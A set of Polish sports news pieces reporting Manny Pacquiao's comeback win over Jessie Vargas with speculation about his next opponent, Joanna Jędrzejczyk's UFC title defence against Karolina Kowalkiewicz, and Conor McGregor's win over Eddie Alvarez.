W kwietniu Manny Pacquiao miał stoczyć ostatnią walkę. Filipińczyk pokonał Timothy'ego Bradleya i odszedł na sportową emeryturę. Po siedmiu miesiącach ponownie zameldował się w ringu. Wygrał i czeka na kolejny pojedynek. Z kim zmierzy się popularny „Pacman”?

Wszyscy pamiętają najdroższy pojedynek w historii boksu. 2 maja 2015 roku Pacquiao zmierzył się z Floydem Mayweatherem Jr. Lepszy okazał się Amerykanin, a Filipińczyk porażkę tłumaczył kontuzją barku. Przewijał się temat rewanżu, jednak obaj bokserzy zakończyli kariery. Pacquiao wrócił…

Wielki rewanż?

Po starciu z Mayweatherem, Pacquiao przeszedł operację i dochodził do pełnej sprawności. Kolejny pojedynek stoczył blisko rok po spotkaiu z „Moneyem”. „Pacman” stanął naprzeciw Bradleya. Było to trzecie spotkanie pięściarzy i decydujące o tym, który jest lepszy. Triumfował „Pacman” i powiedział „dość”. Zdecydował, że dalej będzie realizował się w polityce. Zdobył mandat senatorski, aby działać na rzecz dobra wspólnego i rozwoju Filipin. W garniturze wyglądał dobrze, ale brakowało mu ringu. W końcu zapadła decyzja i 37-latek wrócił do sportowej rywalizacji. 

5 listopada wszedł do ringu z Jessim Vargasem. Ani przez chwilę nie było różnicy wieku, która wynosi 10 lat. Już w drugiej rundzie Meksykanin leżał na deskach, jednak do końca ambitnie walczył. Decyzją sędziów triumfował Pacquiao.

37-letni Filipińczyk wywalczył tytuł mistrza świata WBO wagi półśredniej. To kolejny pas w bogatej karierze Pacquiao, który święcił triumfy m.in. w wadze muszej i lekkiej. Powrót Pacquiao zrodził wiele pytań, a wygrana z Vargasem jeszcze więcej. Przede wszystkim o kolejnego rywala i kształt dalszej przygody „Pacmana” z boksem. Nie da się ukryć, że ponownie odżywają głosy o rewanżu z Mayweatherem. Jednak „Money” po 49. wygranych walkach na zawodowym ringu pożegnał się z boksem. W ostatnim pojedynku pokonał Andre Berto.

Trudno oceniać realność kolejnego starcia Pacquiao z Mayweatherem, choć na obecną chwilę wydaje się ono niemożliwe. Chyba, że na stole pojawi się ogromna suma, które pobije wszystkie rekordy. Bez wątpienia pojedynek bokserskich mistrzów sprzedałby się bez problemu. Warto pamiętać, że panowie są coraz starsi. Racja – mogą być jak wino, ale szczyt formy mają raczej za sobą.

Będzie Broner?

Kandydatem do rywalizacji z Pacquiao jest Adrien Broner. 27-latek urodzony w Cincinnati miał już na swoim koncie pasy WBO w kategorii junior lekkiej i WBC w lekkiej. W ostatnim starciu pokonał Ashleya Theophane'a, co pozwoliło mu wywalczyć tytuł WBA w wadze super lekkiej. Broner ma już w planach kolejną walkę. W lutym będzie rywalizował z Adrianem Granadosem.

27-latek ma spore doświadczenie. Stoczył już 34 pojedynki, z których 24 wygrał przed czasem. Zapisał na swoim koncie także dwie porażki. Walka Pacquiao vs Broner również wyglądałaby ciekawie i rodziłaby spore zainteresowanie.

KM

Polskie starcie dla Jędrzejczyk

Pas UFC w kategorii słomkowej nadal w rękach Joanny Jędrzejczyk. Karolina Kowalkiewicz była żądna zwycięstwa i postawiła trudne warunki mistrzyni. Pięć emocjonujących rund sędziowie ocenili na korzyść Jędrzejczyk.

Przed pojedynkiem niektórzy spisywali Kowalkiewicz na straty i wieścili, że 29-latka z Olsztyna ją pożre. Była mistrzyni KSW chciała spełnić marzenia i walczyła jak „równy z równym” z Jędrzejczyk.

Starcie z charakterem

Pojedynek o najwyższą stawkę zrodził ogromne emocje, zwłaszcza w polskich domach. Wszyscy z niecierpliwością oczekiwali na święto MMA. Dobra postawa Kowalkiewicz zaowocowała tym, że po trzech zwycięskich walkach w UFC dostąpiła walki o pas. Od początku łodzianka chciała pokazać, iż zasłużyła na ten pojedynek. Pierwsza runda wyrównana, choć mistrzyni zadała kilka celnych ciosów. Kowalkiewicz szukała klinczu, jednak Jędrzejczyk skutecznie się uwolniła.

W drugiej rundzie była mistrzyni KSW postanowiła niepokoić rywalkę. Jędrzejczyk walczyła spokojnie, ale punktowała Kowalkiewicz. Stosowała niskie kopnięcia, które miały zgasić zapędy łodzianki. Kowalkiewicz ruszyła po sprowadzenie, jednak bezskutecznie. Jędrzejczyk kontrolowała sytuację i nie pozwoliła rywalce rozwinąć skrzydeł, choć ta bardzo chciała. Trzecia runda miała podobny przebieg jak poprzednie. Kowalkiewicz starała się zbliżyć do Jędrzejczyk, jednak ta postawiła na wymiany w stójce. Mistrzyni imponowała precyzją. 

Czwarta odsłona mogła być przełomowa. 31-letnia Kowalkiewicz stanęła przed ogromną szansą na pokonanie Jędrzejczyk. Mistrzyni UFC znalazła się w trudnym położeniu po jednej z kombinacji. Posiadaczka pasa w kategorii słomkowej była oszołomiona, co starała się wykorzystać Kowalkiewicz. Słała w stronę rywalki kolejne ciosy, a Jędrzejczyk opadała z sił. Łodzianka poczuła, że może sięgnąć po pas. Ostatnia runda nie była już tak szybka i energiczna jak poprzednia. Jędrzejczyk starała się rozegrać ją spokojnie, a Kowalkiewicz była zmęczona. Pod koniec rundy mistrzyni zadała kilka mocnych łokci. 

Stoczyły morderczy i emocjonujący bój. Jędrzejczyk starała się wykorzystać swoje doświadczenie i mądrze dysponować siłami. Z kolei dla Kowalkiewicz nadszedł moment, w którym mogła zaprezentować swój repertuar. Ostatecznie sędziowie byli zgodni i wszyscy punktowali 49:46 na korzyść Jędrzejczyk.

Drugi pas Conora

Conor McGregor tworzy nową historię! Irlandczyk pokonał Eddiego Alvareza i wywalczył drugi pas UFC.

McGregor był głodny kolejnego tytułu i od razu ruszył na rywala. Lewy sierpowy powalił Amerykanina na deski, jednak mistrz nie dawał za wygraną. Wstał i walczył, ale ograniczał się do obrony przed szalejącym McGregorem. W drugiej rundzie Alvarez szukał obalenia, jednak Irlandczyk nie pozwolił sprowadzić walki do parteru. Potężny sierp i Amerykanin znalazł się na deskach. McGregor mistrzem wagi lekkiej! Irlandczyk ma na swoim koncie także tytuł w wadze piórkowej, który wywalczył pokonując Jose Aldo.

W kategorii półśredniej Tyron Woodley bronił tytułu w starciu ze Stephenem Thompsonem. Pięciorundowy pojedynek zakończył się remisem. W związku z tym pas pozostał w rękach Woodleya. 

Yoel Romero lepszy od Chrisa Weidmana. W trzeciej rundzie Kubańczyk potraktował rywala kolanem w głowę i dobił ciosami. Była mistrzyni w kategorii koguciej Miesha Tate przegrała na punkty z Raquel Pennington. Z kolei Frankie Edgad okazał się lepszy od Jeremy'ego Stephensa.

fot. sherdog.com

KM